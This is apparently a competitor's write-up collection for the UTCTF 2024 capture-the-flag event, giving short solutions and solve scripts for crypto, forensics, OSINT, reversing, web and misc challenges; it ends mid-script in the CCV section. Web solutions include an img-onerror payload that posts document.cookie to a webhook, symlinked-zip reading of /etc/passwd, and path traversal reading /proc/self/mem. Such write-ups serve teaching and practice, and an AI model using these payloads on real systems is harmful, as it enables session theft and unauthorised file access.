๐Ÿค UTCTF 2024

Writeups for challenges I solved

There were already a lot of good writeups done and I'm starting this late so these will be a bit low effort.

Cryptography

RSA-256 (627 solves)

Description:

Based on the military-grade encryption offered by AES-256, RSA-256 will usher in a new era of cutting-edge security... or at least, better security than RSA-128.

By Jeriah (@jyu on discord)

Solution:

โ””โ”€$ cat vals.txt               
N = 77483692467084448965814418730866278616923517800664484047176015901835675610073
e = 65537
c = 43711206624343807006656378470987868686365943634542525258065694164173101323321  

# Solution: RsaCtfTool
# https://github.com/RsaCtfTool/RsaCtfTool

โ””โ”€$ RsaCtfTool.py -n 77483692467084448965814418730866278616923517800664484047176015901835675610073 -e 65537 --decrypt 43711206624343807006656378470987868686365943634542525258065694164173101323321
private argument is not set, the private key will not be displayed, even if recovered.
['/tmp/tmp66c8hk39']

[*] Testing key /tmp/tmp66c8hk39.
attack initialized...
attack initialized...
[*] Performing mersenne_primes attack on /tmp/tmp66c8hk39.
 24%|โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ                                                           | 12/51 [00:00<00:00, 64776.90it/s]
[+] Time elapsed: 0.0162 sec.
[*] Performing factordb attack on /tmp/tmp66c8hk39.
[*] Attack success with factordb method !
[+] Total time elapsed min,max,avg: 0.0162/0.0162/0.0162 sec.

Results for /tmp/tmp66c8hk39:

Decrypted data :
HEX : 0x00000000007574666c61677b6a7573745f73656e645f706c61696e746578747d
INT (big endian) : 48318056036638095126835825247330138638677839744287146849712239741
INT (little endian) : 56744891277200465927677691769438839148620997683319332003939796345463196614656
utf-8 : utflag{just_send_plaintext}
utf-16 : ็”€ๆ™ดๆ…ฌ็ญง็•ช็‘ณ็Ÿๆนฅๅฝคๆฑฐๆฅก็‘ฎ็กฅ็ตด
STR : b'\x00\x00\x00\x00\x00utflag{just_send_plaintext}'

Beginner: Anti-dcode.fr (305 solves)

Description:

I've heard that everyone just uses dcode.fr to solve all of their crypto problems. Shameful, really.

This is really just a basic Caesar cipher, with a few extra random characters on either side of the flag. Dcode can handle that, right? >:)

The '{', '}', and '_' characters aren't part of the Caesar cipher, just a-z. As a reminder, all flags start with "utflag{".

By Khael (Malfuncti0nal on Discord).

Solution:

We're given a large file that's rotated some amount of characters. I just went to cyber chef and put in utflag, rotated it one letter at a time and searched for it in the file manually until I found it, was around the 10th attempt or something.

numbers go brrr (228 solves)

Description:

I wrote an amazing encryption service. It is definitely flawless, so I'll encrypt the flag and give it to you.

By jocelyn (@jocelyn3270 on discord)

nc betta.utctf.live 7356

Solution:

# main.py challenge excerpt
#!/usr/bin/env python3

...
import time

seed = int(time.time() * 1000) % (10 ** 6)
def get_random_number():
    global seed 
    seed = int(str(seed * seed).zfill(12)[3:9])
    return seed
...

As can be seen in the provided main.py, the seed is created from the current time. Therefore assuming our system time is the same as the server, we can just brute force the seed time offset and decode the encrypted flag without even using the "encrypt a message" option.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import time

def is_ascii(s):
    return all(32 <= c <= 126 for c in s)

def generate_seed(initial_seed):
    seed = initial_seed
    while True:
        seed = int(str(seed * seed).zfill(12)[3:9])
        yield seed

def generate_aes_key(seed_generator):
    key = b''
    for _ in range(8):
        rnd = next(seed_generator) % (2 ** 16)
        key += rnd.to_bytes(2, 'big')
    return key

def decrypt_flag(encrypted_flag, start_seed, end_seed):
    for possible_seed in range(start_seed, end_seed + 1):
        seed_gen = generate_seed(possible_seed)
        key = generate_aes_key(seed_gen)
        cipher = AES.new(key, AES.MODE_ECB)
        try:
            decrypted_flag = unpad(cipher.decrypt(encrypted_flag), AES.block_size)
            # Check if the decrypted text is printable ASCII before declaring success
            if is_ascii(decrypted_flag):
                print(f"Success! Seed: {possible_seed}, Flag: {decrypted_flag.decode()}")
                return
        except ValueError as e:
            continue
    print("Flag not found, try adjusting the seed range.")

current_time_millis = int(time.time() * 1000)
start_seed = current_time_millis % (10 ** 6) - 100000
end_seed = current_time_millis % (10 ** 6) + 100000

# Received manually from the nc
encrypted_flag_hex = "bad36021015c4dc568e272db41b05433f760899a5ba99a0d933edd80d9e131689115a59cd5626f1e658b5ea08b28d773"
encrypted_flag = bytes.fromhex(encrypted_flag_hex)

print(decrypt_flag(encrypted_flag, start_seed, end_seed))

bits and pieces (218 solves)

Description:

I really really like RSA, so implemented it myself <3.

A two parter.

By jocelyn (@jocelyn3270 on discord)

Solution:

n1: 16895844090302140592659203092326754397916615877156418083775983326567262857434286784352755691231372524046947817027609871339779052340298851455825343914565349651333283551138205456284824077873043013595313773956794816682958706482754685120090750397747015038669047713101397337825418638859770626618854997324831793483659910322937454178396049671348919161991562332828398316094938835561259917841140366936226953293604869404280861112141284704018480497443189808649594222983536682286615023646284397886256209485789545675225329069539408667982428192470430204799653602931007107335558965120815430420898506688511671241705574335613090682013
e1: 65537
c1: 7818321254750334008379589501292325137682074322887683915464861106561934924365660251934320703022566522347141167914364318838415147127470950035180892461318743733126352087505518644388733527228841614726465965063829798897019439281915857574681062185664885100301873341937972872093168047018772766147350521571412432577721606426701002748739547026207569446359265024200993747841661884692928926039185964274224841237045619928248330951699007619244530879692563852129885323775823816451787955743942968401187507702618237082254283484203161006940664144806744142758756632646039371103714891470816121641325719797534020540250766889785919814382

n2: 22160567763948492895090996477047180485455524932702696697570991168736807463988465318899280678030104758714228331712868417831523511943197686617200545714707332594532611440360591874484774459472586464202240208125663048882939144024375040954148333792401257005790372881106262295967972148685076689432551379850079201234407868804450612865472429316169948404048708078383285810578598637431494164050174843806035033795105585543061957794162099125273596995686952118842090801867908842775373362066408634559153339824637727686109642585264413233583449179272399592842009933883647300090091041520319428330663770540635256486617825262149407200317
e2: 65537
c2: 19690520754051173647211685164072637555800784045910293368304706863370317909953687036313142136905145035923461684882237012444470624603324950525342723531350867347220681870482876998144413576696234307889695564386378507641438147676387327512816972488162619290220067572175960616418052216207456516160477378246666363877325851823689429475469383672825775159901117234555363911938490115559955086071530659273866145507400856136591391884526718884267990093630051614232280554396776513566245029154917966361698708629039129727327128483243363394841238956869151344974086425362274696045998136718784402364220587942046822063205137520791363319144

n3: 30411521910612406343993844830038303042143033746292579505901870953143975096282414718336718528037226099433670922614061664943892535514165683437199134278311973454116349060301041910849566746140890727885805721657086881479617492719586633881232556353366139554061188176830768575643015098049227964483233358203790768451798571704097416317067159175992894745746804122229684121275771877235870287805477152050742436672871552080666302532175003523693101768152753770024596485981429603734379784791055870925138803002395176578318147445903935688821423158926063921552282638439035914577171715576836189246536239295484699682522744627111615899081
e3: 65537
c3: 17407076170882273876432597038388758264230617761068651657734759714156681119134231664293550430901872572856333330745780794113236587515588367725879684954488698153571665447141528395185542787913364717776209909588729447283115651585815847333568874548696816813748100515388820080812467785181990042664564706242879424162602753729028187519433639583471983065246575409341038859576101783940398158000236250734758549527625716150775997198493235465480875148169558815498752869321570202908633179473348243670372581519248414555681834596365572626822309814663046580083035403339576751500705695598043247593357230327746709126221695232509039271637

At the beginning of the challenge, only the first one decoded for me with RsaCtfTool.py and I saved it for later. When I came back, all three solutions were uploaded to factordb so it solved all three. Refer to RSA-256 solution, use for all three and concatenate the outputs.

utflag{oh_no_it_didnt_work_</3_i_guess_i_can_just_use_standard_libraries_in_the_future}

Cryptordle (150 solves)

Description:

Just guess the word in 6 tries. What do you mean it's hard?

By oops (former ISSS officer)

Officer in charge: jyu

nc betta.utctf.live 7496

Solution:

Download a valid wordle list then simulate to get candidates for each phase, solves in 4 or less rounds (got lucky and solved in 2 guesses my last round).

# wget https://gist.githubusercontent.com/dracos/dd0668f281e685bad51479e5acaadb93/raw/6bfa15d263d6d5b63840a8e5b64e04b382fdb079/valid-wordle-words.txt

def load_wordlist(filename):
    with open(filename, 'r') as file:
        wordlist = [line.strip() for line in file if len(line.strip()) == 5]
    return wordlist

def filter_candidates(wordlist, guesses, responses):
    candidates = wordlist
    for guess, response in zip(guesses, responses):
        if len(guess) != 5:
            print(f"Invalid guess length: {guess}")
            continue  # Skip this guess if it's not 5 letters
        new_candidates = []
        for word in candidates:
            if calculate_response(guess, word) == response:
                new_candidates.append(word)
        candidates = new_candidates
    return candidates

def calculate_response(guess, word):
    response = 1
    for x in range(5):
        a = ord(guess[x]) - ord('a')
        b = ord(word[x]) - ord('a')
        # Assuming 'a - b' could be negative, the modulo operation in Python might need adjustment
        # Since Python's modulo can return negative values for negative dividends
        response = (response * ((a-b) % 31)) % 31
    return response

if __name__ == "__main__":
    wordlist = load_wordlist("valid-wordle-words.txt")
    guesses = ["brick", "wagon"]  # Fill with guesses at each iteration
    responses = [26]  # Fill with the responses from the system for each guess

    candidates = filter_candidates(wordlist, guesses, responses)
    print(f"Possible candidates: {candidates}")

numbers go brrr 2 (126 solves)

Description:

A spiritual successor the first.

By jocelyn (@jocelyn3270 on discord)

nc betta.utctf.live 2435

Solution:

Similar to the part 1 of the challenge, we encrypt a known message and then brute force the seed. We only need to use 1 encryption out of our 250 quota.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def get_random_number(seed):
    """Generate a pseudo-random number based on a seed."""
    seed = int(str(seed * seed).zfill(12)[3:9])
    return seed

def generate_key(seed):
    """Generate an AES key based on the seed."""
    key = b''
    for _ in range(8):
        seed = get_random_number(seed)
        key_part = seed % (2 ** 16)
        key += key_part.to_bytes(2, 'big')
    return key

def encrypt_with_key(key, message):
    """Encrypt a message using AES ECB mode with the given key."""
    cipher = AES.new(key, AES.MODE_ECB)
    ciphertext = cipher.encrypt(pad(message, AES.block_size))
    return ciphertext.hex()

def brute_force_seed(known_ciphertext, message):
    """Brute-force the initial seed by comparing the known ciphertext with the one generated using possible seeds."""
    for seed in range(10**6 + 1):
        key = generate_key(seed)
        if encrypt_with_key(key, message) == known_ciphertext:
            return seed, key.hex()  # Also return the key in hex format
    return None, None  # Return None if no seed and key are found

known_ciphertext = "cf3ddfaf71db3445c5b9aa917e33f651"  # The ciphertext received from encrypting "test"
message = b"test"

seed, key_hex = brute_force_seed(known_ciphertext, message)
if seed is not None:
    print(f"Found the seed: {seed}")
    print(f"Corresponding key in hex: {key_hex}")
else:
    print("Seed not found.")

simple signature (95 solves)

Description:

The s in rsa stands for secure.

By alex (@kyrili : not the isss officer - someone y'all don't know)

Contact jocelyn (@jocelyn3270 on discord)

nc betta.utctf.live 4374

Solution:

When I was playing around with inputs, I put in 1 and 2 alternating and noticed the keys for both were the same each round, so we can just pass in the encrypted output previously generated.

Forensics

Contracts (387 solves)

Description:

Magical contracts are hard. Occasionally, you sign with the flag instead of your name. It happens.

By Samintell (@samintell on discord)

Solution:

Extract images from the pdf, get the flag.

OSINT 1 (202 solves)

Description:

It seems like companies have document leaks all the time nowadays. I wonder if this company has any.

(NOTE: It turns out there's also an actual company named Kakuu in Japan. The real company is not in scope. Please don't try and hack them.)

By mzone (@mzone on discord)

http://puffer.utctf.live:8756

Unlock Hint for 0 points

You're looking for a leaked document. You won't find it on their website.

Unlock Hint for 0 points

Accounts online associated with the scenario should be (fairly) distinguishable.

Solution:

There are already some detailed writeups for these so abridged version here. The website had placeholder links and images, the only thing that stood out were the names of the employees. All but the last one were relatively common names, only the last one was unique (Cole Minerton), he had a youtube channel with a discord link in the description. In the discord, he attaches a company contract with the flag in it.

OSINT 2 (141 solves)

Description:

Can you find where the person you identified in the first challenge lives? Flag format is City,State,Zip. For example, if they live at UT Austin submit Austin,TX,78712.

Do not include any spaces in your submission. The submission is also case sensitive, and works with or without utflag{}.

By mzone (@mzone on discord)

Unlock Hint for 0 points

Follow the storyline.

Unlock Hint for 0 points

All in scope accounts follow the same naming convention. Once you've reached a centralized location any sites you need can be reached in at most 3 clicks.

Solution:

The best OSINT site: https://whatsmyname.app

Search for coleminerton, find his Mastodon and see an image he posted on filling up gas before a trip.

Can zoom in the original picture to see New Mexico lottery in the middle and "CIMARRON AVE" on the sign. There are three cities in New Mexico with Cimarron Ave, and the solution ends up being Raton,NM,87740.

OSINT 3 (96 solves)

Description:

Can you find the person's IP address? Flag format is XXX.XXX.XXX.XXX

By mzone (@mzone on discord)

Unlock Hint for 0 points

If you wound up on another (unrelated) discord server, then one of the sites you visited is too new.

Unlock Hint for 0 points

All in scope accounts follow the same naming convention. Once you've reached a centralized location any sites you need can be reached in at most 3 clicks.

Solution:

When going to his reddit (found through previous link) and specifically with old reddit, we see a wiki link in a community he's a moderator for. In the wiki edit history we can see one of his edits he leaked his IP by not being logged in when making the contribution.

A Very Professional Website (142 solves)

Description:

Web dev skills go brrr

By Caleb (@eden.caleb.a on discord)

http://puffer.utctf.live:8549

Solution:

There's a .git folder (probably needs a light fuzz to find or some basic trial/error), we can extract all the data with a tool. I used gitjacker which didn't download the secret file by default so I had to do a bunch of extra stuff (checking .git/logs/HEAD to find the other hash, manually going to the site to download the zlibs and uncompressing them, etc.), apparently it was possible to get it directly using gitdumper.sh at https://github.com/internetwache/GitTools (I didn't test but probably works).

# Contents of secret file which was removed
<li>If you squint your eyes, every country's flag contains very tiny text which reads: utflag{gitR3fl0g}</li>

Study Music (122 solves)

Description:

I listen to this while studying for my exams. https://youtu.be/1Cbaa6dO2Yk By Danny (Danny on Discord).

Note: the audio is the focus of this challenge. The video can be safely ignored.

Solution:

This is a 10 hour video with a looping audio, download a lower quality version of the audio using your site of choice and then open it in sonic visualizer. It takes a while to open and open the spectrogram but under a few minutes on a Kali VM, and at that point we can see a blip where at some point there's something else. Adjust the zoom manually and then the morse code that's played over the clip can be seen visually and transcribed (I also saw other people fed it directly into online morse code audio detectors).

Gibberish (31 solves)

Description:

Help! I'm trying to spy on my lover but they're not typing in any language I'm familiar with!

By mzone (@mzone on discord)

Unlock Hint for 0 points

I made this on a qwerty keyboard but I would recommend buying something more specialized if you were to do this all day. You'll know you're on the right track when you find something that rhymes with a word in the challenge description.

Unlock Hint for 0 points

It's not a cipher.

Unlock Hint for 0 points

I used a 6-key rollover keyboard. You might want to double check some of your words.

Solution:

We're given a wireshark pcap where we can see usb keypresses for a Razer Huntsman TKL board. Normally it's very straightforward to extract the keypresses, there are many guides online but the first step is something like:

tshark -r ./keyboard.pcapng -Y 'usbhid.data' -T fields -e usbhid.data > keydata.txt

We can then parse that data, although normally only one key is pressed at a time (optionally with a shift modifier which comes earlier), but in this file we see a lot of simultaneous keypresses.

So we need a more custom script. Here's how to extract the chords.

import sys

# Define key codes based on other conversion tables
KEY_CODES = {
    0x04: 'a', 0x05: 'b', 0x06: 'c', 0x07: 'd', 0x08: 'e', 
    0x09: 'f', 0x0A: 'g', 0x0B: 'h', 0x0C: 'i', 0x0D: 'j', 
    0x0E: 'k', 0x0F: 'l', 0x10: 'm', 0x11: 'n', 0x12: 'o', 
    0x13: 'p', 0x14: 'q', 0x15: 'r', 0x16: 's', 0x17: 't', 
    0x18: 'u', 0x19: 'v', 0x1A: 'w', 0x1B: 'x', 0x1C: 'y', 
    0x1D: 'z', 0x1E: '1', 0x1F: '2', 0x20: '3', 0x21: '4', 
    0x22: '5', 0x23: '6', 0x24: '7', 0x25: '8', 0x26: '9', 
    0x27: '0', 0x28: '\n', 0x29: 'esc', 0x2a: 'backspace', 
    0x2b: '\t', 0x2C: ' ', 0x2D: '-', 0x2E: '=', 0x2F: '[', 
    0x30: ']', 0x32: '#', 0x33: ';', 0x34: '\'', 0x36: ',', 
    0x37: '.', 0x38: '/', 0x39: 'capslock', 0x4f: 'right', 
    0x50: 'left', 0x51: 'down', 0x52: 'up'
}
def parse_keystrokes(file_path):
    with open(file_path, 'r') as file:
        lines = file.readlines()

    output = []
    prev_chord = None
    backspace_count = 0

    for line in lines:
        parts = line.strip().split(':')
        key_codes = list(filter(None, parts))[2:]
        key_codes = [int(x, 16) for x in key_codes if int(x, 16) != 0]

        chord = [KEY_CODES.get(code, '') for code in key_codes]
        chord_str = ''.join(chord)

        if chord_str == 'backspace':
            backspace_count += 1
        else:
            if backspace_count > 0:
                output.append(f"back{backspace_count}")
                backspace_count = 0

            if chord_str != prev_chord:
                output.append(chord_str)
                prev_chord = chord_str

    return ' '.join(filter(None, output))

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python script.py <path_to_file>")
        sys.exit(1)
    file_path = sys.argv[1]
    result = parse_keystrokes(file_path)
    print(result.strip())

My notes for this one are a bit messy, I was playing around with many versions of the script. I ended up using this I think instead of one that was automatically saving only the full chords by saving the peaks because there were some chords that were more than the 6 characters max (I think up to 8) which requires rolling off some keys earlier and that's only visible by saving all the data.

By the way this chording is for steno typing, and the hint refers to plover. Can google about it but there's a tool that can be downloaded that lets you steno type with a normal keyboard which is how the pcap was made. I ran the above script to get the huge mess of an output and then just looked for some pattern. I found the chord that makes underscore (fgmik[) so I knew where the flag was, and then I just typed it out with plover. There are already good writeups for this so will just call it here.

utflag{learning_stenography_on_a_qwerty_keyboard_is_quite_difficult}

Insanity Check: Reimagined (24 solves)

Description:

A reimagined version of our iconic Insanity Check: Redux challenge from UTCTF 2023.

The flag is in CTFd this time, but, as always, you'll have to work for it.

(Specifically the CTFd instance hosting utctf.live)

(This challenge does not require any brute-force -- as per the rules of the competition, brute-force tools like dirbuster are not allowed, and will not help you here.)

By Alex (@.alex_._ on Discord)

Solution:

The 2023 challenge had iirc a duck image where only one had the flag stego'd in it and the rest had red herrings in them. Along the same inspiration (and the "iconic" keyword), looking at the website files in the developer tools, there are two favicons (one .ico and one .svg), but the .ico seems like a dead end. The .svg has some interesting stuff in it though.

<svg width="384" height="576" viewBox="0 0 384 576" xmlns="http://www.w3.org/2000/svg" id="root">
<style>
@keyframes blink {
 0.000% { fill: #FFFF; }
 0.314% { fill: #FFF6; }
 0.629% { fill: #FFFF; }
 0.943% { fill: #FFF6; }
 1.258% { fill: #FFFF; }
 2.201% { fill: #FFF6; }
 2.516% { fill: #FFF6; }
 3.145% { fill: #FFFF; }
 4.088% { fill: #FFF6; }
 4.403% { fill: #FFF6; }
 5.031% { fill: #FFFF; }
 5.346% { fill: #FFF6; }
 5.660% { fill: #FFFF; }
 5.975% { fill: #FFF6; }
 6.289% { fill: #FFFF; }
 7.233% { fill: #FFF6; }
 7.547% { fill: #FFFF; }
 7.862% { fill: #FFF6; }
 8.176% { fill: #FFF6; }
 8.805% { fill: #FFFF; }
 9.119% { fill: #FFF6; }
 9.434% { fill: #FFFF; }
10.377% { fill: #FFF6; }
10.692% { fill: #FFFF; }
11.006% { fill: #FFF6; }

The pattern between FFFF and FFF6 seems like it's encoding data, and the timestamps are separated by around 0.314 or three times 0.314, and there are occasionaly consecutive FFF6s (either 2 or 4). All this together, we can picture this being morse code, with FFFF being 1 and FFF6 being 0, with two consecutive 0s being a letter separator and four consecutive 0s being a word separator (underscore). Below is my code that automatically converts this to morse code with a wide window for timing variability just in case.

# Create values.txt with find/replace
# 0.000: 1
# 0.314: 0
# 0.629: 1
# ...

def read_values(file_path):
    with open(file_path, 'r') as file:
        lines = file.readlines()
    timestamps = [float(line.split(': ')[0]) for line in lines]
    states = [int(line.split(': ')[1]) for line in lines]
    return timestamps, states

def convert_to_morse(timestamps, states):
    durations = [timestamps[i+1] - timestamps[i] for i in range(len(timestamps)-1)]
    durations.append(0)  # Add a dummy duration at the end for the last element
    morse_code = ''
    i = 0
    while i < len(durations)-1:
        if states[i] == 1:  # If the state is 1, determine if it's a dot or a dash
            if 0.164 <= durations[i] <= 0.464:  # Dot
                morse_code += '.'
            elif 0.497 <= durations[i] <= 1.392:  # Dash
                morse_code += '-'
        else:  # If the state is 0, determine the type of separation
            if i < len(durations) - 4 and states[i+1] == 0 and states[i+2] == 0 and states[i+3] == 0:  # Word separation
                morse_code += ' / '
                i += 3  # Skip the next three zeros
            elif states[i+1] == 0:  # Letter separation
                morse_code += ' '
        i += 1
    return morse_code

if __name__ == "__main__":
    file_path = 'values.txt'
    timestamps, states = read_values(file_path)
    morse_code = convert_to_morse(timestamps, states)
    print("Morse Code:", morse_code)

# Morse Code: ..- - ..-. .-.. .- --. / ..- - -.-. - ..-. / ..- ... . ... / ... ...- --. / - --- / .. - ... / ..-. ..- .-.. .-.. . ... - / 
# Cyberchef: UTFLAGUTCTFUSESSVGTOITSFULLEST
# utflag{utctf_uses_svg_to_its_fullest}

Reverse Engineering

Beginner: Basic Reversing Problem (310 solves)

Description:

So many function calls... but are they that different?

By Khael (@malfuncti0nal on discord)

Solution:

Decompile the attached binary with dogbolt.org.

void l1(undefined *param_1)
{
  *param_1 = 0x75;
  l2(param_1 + 1);
  return;
}

void l2(undefined *param_1)
{
  *param_1 = 0x74;
  l3(param_1 + 1);
  return;
}
...

Many of these functions, extract and then get the flag (gpt can do automatically).

hex_values = [
    0x75, 0x74, 0x66, 0x6c, 0x61, 0x67,
    0x7b, 0x69, 0x5f, 0x63, 0x34, 0x6e,
    0x5f, 0x72, 0x33, 0x76, 0x21, 0x7d
]

print(''.join(chr(value) for value in hex_values))
# utflag{i_c4n_r3v!}

Fruit Deals (239 solves)

Description:

I found a excel sheet with some great deals thanks to some random guy on the internet! Who doesn't trust random people off the internet, especially from email

The flag is the file name that was attempted to be downloaded, wrapped in utflag{} Note: the file imitates malicious behavior. its not malicious, but it will be flagged by AV. you probably shouldn't just run it though.

By Samintell (@samintell on discord)

Solution:

I just opened the attached deals.xlsm in libreoffice calc in kali, enabled macros/editing, added a debug print and moused over it (since it wouldn't print for some reason), flag was banANA... in quotes.

Description:

Introducing the Parallel Encryption Standard PES-128 cipher! It's super high throughput and notable nonrequirement of keys makes it a worthy contender for NIST standardization as a secure PRF.

By Jeriah (@jyu on discord)

Solution:

We're given a PES encryption binary and a flag.enc to decode. We notice that inputs need to be hex and the first byte is always the input first byte with some testing. Assuming it works like other similar forms of encryption where the first byte doesn't change (XOR'ing with next segments/keys like block ciphers), we can brute force the conversion by seeing what inputs result in the output one byte at a time.

import subprocess

# flag.enc
encrypted_flag = "75ac713a945e9f78f657b735b7e1913cdece53b8853f3a7daade83b319c49139f8f655b0b77b"

# Function to execute the ./PES binary with a given input and return its encrypted output
def get_encrypted_output(input_hex):
    result = subprocess.run(['./PES'], input=input_hex, text=True, capture_output=True)
    output = result.stdout.strip().split('\n')[-1]  # Assuming the last line is what we need
    return output

# Function to brute force decrypt the encrypted flag
def brute_force_decrypt(encrypted_flag):
    partial_input = ''  # Start with an empty input
    for i in range(0, len(encrypted_flag), 2):  # Process two hex chars (1 byte) at a time
        for j in range(256):  # Try all possible values for the next byte
            trial_input = partial_input + f"{j:02x}"  # Append the current byte in hex format
            trial_output = get_encrypted_output(trial_input)
            # Check if the start of the trial output matches the encrypted flag up to the current point
            if encrypted_flag.startswith(trial_output):
                partial_input = trial_input  # Found the correct byte, update the input
                print(f"Match found: {partial_input} -> {trial_output}")
                break  # Move on to the next byte
    return partial_input

# Decrypt the flag
decrypted_flag = brute_force_decrypt(encrypted_flag)
print(f"Decrypted flag: {decrypted_flag}")

Decode the final match in cyber chef (from char code) to get the flag.

utflag{i_got_the_need_for_amdahls_law}

Web

Description:

I tried to make my own version of cookie clicker, without all of the extra fluff. Can you beat my highscore?

By Khael (@malfuncti0nal on discord)

http://betta.utctf.live:8138

Solution:

Can look in the javascript to see how the counter is incremented, then just set it manually in the console.

localStorage.setItem('count', 10000000);

# Click cookie again for popup
# Wow, you beat me. Congrats! utflag{y0u_cl1ck_pr3tty_f4st}

Schrรถdinger (250 solves)

Description:

Hey, my digital cat managed to get into my server and I can't get him out.

The only thing running on the server is a website a colleague of mine made.

Can you find a way to use the website to check if my cat's okay? He'll likely be in the user's home directory.

You'll know he's fine if you find a "flag.txt" file.

By helix (@helix_shift on discord)

http://betta.utctf.live:5422

Solution:

We can upload a zip file and it will display what the contents are. After some googling, a known vulnerability in this situation is uploading a sym link file so it will print out the contents of what you point it to.

First do a ln -s /etc/passwd file.txt, and then a zip -y file.zip file.txt to create the zip (-y to preserve the symlink). Check the size of the zip file to make sure you aren't uploading /etc/passwd (not a big deal but good practice/thought to have), and then upload it to see the contents of /etc/passwd printed on the server.

There's probably a flag option or something to do it but I just created /home/copenhagen/flag.txt on my machine for the symlink command to succeed then repeated the steps above.

Easy Mergers v0.1 (143 solves)

Description:

Tired of getting your corporate mergers blocked by the FTC? Good news! Just give us your corporate information and let our unpaid interns do the work!

By Samintell (@samintell on discord)

http://guppy.utctf.live:8725

Solution:

We're given a zip file containing the files used on the web server. I did this one towards the start and don't remember too much of it, but I remember running the docker container to test locally and seeing which of the two POST options was potentially vulnerable (either makeCompany or absorbCompany), and then looking into how to set "secret.cmd", where secret is the session, since that's what is run when running absorbCompany. Anyway, here's the solution. Copy the cookie received after accessing the site and put it in solution.sh. The __proto__ lets us define a new variable/value pair.

Home on the Range (71 solves)

Description:

I wrote a custom HTTP server to play with obscure HTTP headers.

By Jonathan (@JBYoshi on discord)

http://guppy.utctf.live:7884

Unlock Hint for 0 points

If it seems like something's missing, that's completely intentional; you should be able to figure out why it's missing and where it currently is. You don't need to do any brute force guessing to figure out what that missing thing is.

Solution:

The site is a basehttp server that lets us access files, but there's nothing but a hello.html. We're not given the source code for the server but after reading through hints in discord, we know to try to find it with path traversal, and find it at ../../server.py.

This file shows us that the python server reads the flag contents into a variable and then deletes the flag file so the only place the flag is now is in the process memory. Since we can access any files we want with server.py though and since Accept Ranges is enabled, we can access /proc/self/mem and read all the program memory, specifying ranges given by /proc/self/maps so the read doesn't fail.

# First download ../../../proc/self/maps into maps.txt
# 64cbb53ca000-64cbb53cb000 r--p 00000000 103:01 1071612                   /usr/local/bin/python3.12
# 64cbb53cb000-64cbb53cc000 r-xp 00001000 103:01 1071612                   /usr/local/bin/python3.12
# 64cbb53cc000-64cbb53cd000 r--p 00002000 103:01 1071612                   /usr/local/bin/python3.12
# 64cbb53cd000-64cbb53ce000 r--p 00002000 103:01 1071612                   /usr/local/bin/python3.12
# 64cbb53ce000-64cbb53cf000 rw-p 00003000 103:01 1071612                   /usr/local/bin/python3.12
# 64cbb5dd1000-64cbb5dd2000 ---p 00000000 00:00 0                          [heap]
# 64cbb5dd2000-64cbb5dd7000 rw-p 00000000 00:00 0                          [heap]
# 70ed24a00000-70ed24a02000 ---p 00000000 00:00 0 
# ...
# Normally it should have been in one of the heap sections but it wasn't, 
# so I just built a script to read everything the process used

import subprocess
import re

url_template = 'http://guppy.utctf.live:7884/../../../proc/self/mem'

def download_memory_segments(maps_file):
    # Read the maps file
    with open(maps_file, 'r') as f:
        maps_content = f.readlines()

    # Regex to match memory ranges (excluding specific segments if necessary)
    range_regex = re.compile(r'([0-9a-f]+)-([0-9a-f]+)')

    for line in maps_content:
        match = range_regex.match(line)
        if match:
            # Convert start and end addresses from hex to decimal
            start_address, end_address = match.groups()
            start_address_dec = int(start_address, 16)
            end_address_dec = int(end_address, 16) - 1  # Adjust end address for inclusive range

            # Construct the Range header value using decimal addresses
            range_header = f"bytes={start_address_dec}-{end_address_dec}"

            # Construct the output file name
            output_file = f"memory_segment_{start_address}_{end_address}.bin"

            # Construct the curl command
            curl_command = [
                'curl', '--path-as-is', '-H', f"Range: {range_header}", '-s', url_template,
                '-o', output_file
            ]

            # Execute the curl command
            subprocess.run(curl_command)

            print(f"Downloaded memory segment {start_address} ({start_address_dec})-{end_address} ({end_address_dec}) into {output_file}")

download_memory_segments('maps.txt')

# โ””โ”€$ cat memory * > memory.bin
# โ””โ”€$ grep -ina utflag memory.txt 
# 12957:utflag{do_u_want_a_piece_of_me}
# 208783:do_UTFLAG
# 340952:utflag{do_u_want_a_piece_of_me}
# 1794554:do_UTFLAG

Unsound (13 solves)

Description:

I decided to roll my own super secure crypto. It's also written in Rust with no unsafe code. If you get past all of that, you have to break through the Wasm sandbox. Good luck...you'll need it.

All web requests replayed on an internal headless browser, which contains the flag. This is necessary since any keys stored in Javascript / Wasm could easily be read by the attacker. Take this into account when attacking this box.

By Aadhithya (@aadhi0319 on discord)

http://guppy.utctf.live:8374

Solution:

At the site we're given an encrypt and decrypt entry field.

Through trial and error, we see the decrypt fails if the input is not a valid base64. Also instead of success, if the original plaintext is between 301 and 600 bytes long, we see those bytes directly printed on the screen (after 600 we just see success again). Since we have a way of displaying text on the page, we can do script injection. A <script> injection doesn't work for some reason but <img> injection does. Therefore we can do cookie exfil to our webhook. This works because all the commands sent in decrypt are also sent to the the internal headless browser running the same thing as mentioned in the description.

// Encrypt the following then paste the base64 into decrypt to send the cookie to our webhook, ask admin to restart server if only getting one message per send in the webhook
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
<img src=x onerror="fetch('https://webhook.site/9631e93a-d4d6-49f4-8d7b-64ab9dfc8dff',{method:'POST',body:JSON.stringify({url:location.href,cookies:document.cookie})})">

Misc

CCV (91 solves)

Description:

I've got some credit cards but I don't which ones are valid. Where did I get them? Uh, that's not important.

Oh, you'll probably need this: dae55498c432545826fb153885bcb06b

By mzone (@mzone on discord)

nc puffer.utctf.live 8625

Solution:

There was a lot of public discussion on this challenge in the discord, someone even posted a link of what needs to be done to verify this credit card data: https://www.linkedin.com/pulse/card-verification-code-cvc-value-cvv-nayoon-cooray/ This depends on having both the csc and cvv, but it's a 10 step process that I replicate in the following solution script.

import socket
from Crypto.Cipher import DES
import binascii

